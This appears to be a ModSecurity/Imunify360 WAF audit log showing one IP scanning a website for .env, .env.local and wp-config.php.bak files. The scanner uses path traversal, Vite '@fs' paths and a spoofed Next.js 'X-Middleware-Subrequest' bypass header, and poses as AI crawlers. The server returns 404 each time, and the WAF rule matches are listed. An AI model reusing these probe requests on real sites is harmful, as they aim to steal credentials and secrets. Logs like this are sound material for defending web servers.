X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--b106851b-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--b106851b-E--
--b106851b-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/@fs/app/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/@fs/app/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/@fs/app/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/@fs/app/.env.local"] [unique_id "aqZbPjTJ6xTvcJoem7f5vQAAAEQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/@fs/app/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/@fs/app/.env.local"] [unique_id "aqZbPjTJ6xTvcJoem7f5vQAAAEQ"]
Stopwatch: 1789287230662473 33617 (- - -)
Stopwatch2: 1789287230662473 33617; combined=32057, p1=326, p2=31612, p3=66, p4=8, p5=44, sr=96, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b106851b-Z--
--dabd0226-A--
[13/Sep/2026:11:13:50.976466 +0300] aqZbPmM7dE9KgIIOpQhxKwAAAMQ 34.21.80.87 37120 127.0.0.1 7081
--dabd0226-B--
GET /@fs/src/.env?import&raw?? HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--dabd0226-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--dabd0226-E--
--dabd0226-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/@fs/src/.env"] [unique_id "aqZbPmM7dE9KgIIOpQhxKwAAAMQ"]
Stopwatch: 1789287230970045 6485 (- - -)
Stopwatch2: 1789287230970045 6485; combined=5293, p1=225, p2=4939, p3=75, p4=8, p5=46, sr=98, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--dabd0226-Z--
--1027512a-A--
[13/Sep/2026:11:13:50.983898 +0300] aqZbPisVWymXUono-eRUOQAAAAs 34.21.80.87 37130 127.0.0.1 7081
--1027512a-B--
GET /.env?.svg?.wasm?init HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--1027512a-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--1027512a-E--
--1027512a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:.svg?.wasm?init"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:.svg?.wasm?init"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.env"] [unique_id "aqZbPisVWymXUono-eRUOQAAAAs"]
Stopwatch: 1789287230979276 4673 (- - -)
Stopwatch2: 1789287230979276 4673; combined=3442, p1=276, p2=2923, p3=198, p4=8, p5=37, sr=98, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1027512a-Z--
--5eeee666-A--
[13/Sep/2026:11:13:51.038392 +0300] aqZbP0wu1RSkptiiNIX2nAAAAI4 34.21.80.87 37142 127.0.0.1 7081
--5eeee666-B--
GET /.env.local?.svg?.wasm?init HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--5eeee666-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--5eeee666-E--
--5eeee666-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/.env.local"] [unique_id "aqZbP0wu1RSkptiiNIX2nAAAAI4"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.env.local"] [unique_id "aqZbP0wu1RSkptiiNIX2nAAAAI4"]
Stopwatch: 1789287231003922 34537 (- - -)
Stopwatch2: 1789287231003922 34537; combined=33125, p1=232, p2=32741, p3=83, p4=10, p5=59, sr=102, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5eeee666-Z--
--f80ab843-A--
[13/Sep/2026:11:13:51.073077 +0300] aqZbP2M7dE9KgIIOpQhxLAAAAMM 34.21.80.87 37146 127.0.0.1 7081
--f80ab843-B--
GET /@fs/../.env?import&raw?? HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--f80ab843-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--f80ab843-E--
--f80ab843-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.env"] [unique_id "aqZbP2M7dE9KgIIOpQhxLAAAAMM"]
Stopwatch: 1789287231067960 5181 (- - -)
Stopwatch2: 1789287231067960 5181; combined=3728, p1=252, p2=3333, p3=88, p4=8, p5=46, sr=108, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f80ab843-Z--
--8d4c796f-A--
[13/Sep/2026:11:13:51.579313 +0300] aqZbPzTJ6xTvcJoem7f5vgAAAE8 34.21.80.87 37160 127.0.0.1 7081
--8d4c796f-B--
GET /css../.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--8d4c796f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--8d4c796f-E--
--8d4c796f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/css../.env"] [unique_id "aqZbPzTJ6xTvcJoem7f5vgAAAE8"]
Stopwatch: 1789287231573322 6051 (- - -)
Stopwatch2: 1789287231573322 6051; combined=4763, p1=230, p2=4414, p3=66, p4=8, p5=44, sr=93, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8d4c796f-Z--
--5b205f4f-A--
[13/Sep/2026:11:13:51.639982 +0300] aqZbP0wu1RSkptiiNIX2nQAAAJg 34.21.80.87 37162 127.0.0.1 7081
--5b205f4f-B--
GET /js../.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--5b205f4f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--5b205f4f-E--
--5b205f4f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/js../.env"] [unique_id "aqZbP0wu1RSkptiiNIX2nQAAAJg"]
Stopwatch: 1789287231634117 5934 (- - -)
Stopwatch2: 1789287231634117 5934; combined=4549, p1=211, p2=4229, p3=63, p4=7, p5=39, sr=86, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5b205f4f-Z--
--bd62862c-A--
[13/Sep/2026:11:13:51.999486 +0300] aqZbP2M7dE9KgIIOpQhxLwAAANQ 34.21.80.87 37172 127.0.0.1 7081
--bd62862c-B--
GET /public../.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--bd62862c-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--bd62862c-E--
--bd62862c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/public../.env"] [unique_id "aqZbP2M7dE9KgIIOpQhxLwAAANQ"]
Stopwatch: 1789287231992331 7241 (- - -)
Stopwatch2: 1789287231992331 7241; combined=5145, p1=363, p2=4653, p3=72, p4=8, p5=48, sr=113, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--bd62862c-Z--
--40b7cf66-A--
[13/Sep/2026:11:13:52.251117 +0300] aqZbQDTJ6xTvcJoem7f5vwAAAEk 34.21.80.87 37192 127.0.0.1 7081
--40b7cf66-B--
GET /userfiles?path=../../.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--40b7cf66-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--40b7cf66-E--
--40b7cf66-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "breveleyendatequila.com"] [uri "/userfiles"] [unique_id "aqZbQDTJ6xTvcJoem7f5vwAAAEk"]
Stopwatch: 1789287232245178 5999 (- - -)
Stopwatch2: 1789287232245178 5999; combined=4660, p1=290, p2=4249, p3=62, p4=9, p5=50, sr=138, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--40b7cf66-Z--
--ed68696b-A--
[13/Sep/2026:11:13:52.251924 +0300] aqZbQDTJ6xTvcJoem7f5wAAAAFQ 34.21.80.87 37196 127.0.0.1 7081
--ed68696b-B--
GET /dist../.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--ed68696b-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--ed68696b-E--
--ed68696b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/dist../.env"] [unique_id "aqZbQDTJ6xTvcJoem7f5wAAAAFQ"]
Stopwatch: 1789287232245894 6099 (- - -)
Stopwatch2: 1789287232245894 6099; combined=4494, p1=141, p2=4197, p3=83, p4=9, p5=64, sr=64, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ed68696b-Z--
--179ff854-A--
[13/Sep/2026:11:13:52.430282 +0300] aqZbQDTJ6xTvcJoem7f5wQAAAFU 34.21.80.87 37212 127.0.0.1 7081
--179ff854-B--
GET /build../.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--179ff854-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--179ff854-E--
--179ff854-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/build../.env"] [unique_id "aqZbQDTJ6xTvcJoem7f5wQAAAFU"]
Stopwatch: 1789287232424000 6345 (- - -)
Stopwatch2: 1789287232424000 6345; combined=4894, p1=371, p2=4396, p3=71, p4=7, p5=49, sr=137, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--179ff854-Z--
--0c108a53-A--
[13/Sep/2026:11:13:52.465853 +0300] aqZbQGM7dE9KgIIOpQhxMAAAAMA 34.21.80.87 37224 127.0.0.1 7081
--0c108a53-B--
GET /userfiles?path=../../../.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--0c108a53-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--0c108a53-E--
--0c108a53-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "breveleyendatequila.com"] [uri "/userfiles"] [unique_id "aqZbQGM7dE9KgIIOpQhxMAAAAMA"]
Stopwatch: 1789287232458872 7064 (- - -)
Stopwatch2: 1789287232458872 7064; combined=5419, p1=268, p2=5018, p3=73, p4=8, p5=52, sr=116, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0c108a53-Z--
--851fb73d-A--
[13/Sep/2026:11:13:53.374996 +0300] aqZbQTTJ6xTvcJoem7f5wgAAAFI 34.21.80.87 37226 127.0.0.1 7081
--851fb73d-B--
GET /wp-config.php.bak HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--851fb73d-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--851fb73d-E--
--851fb73d-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
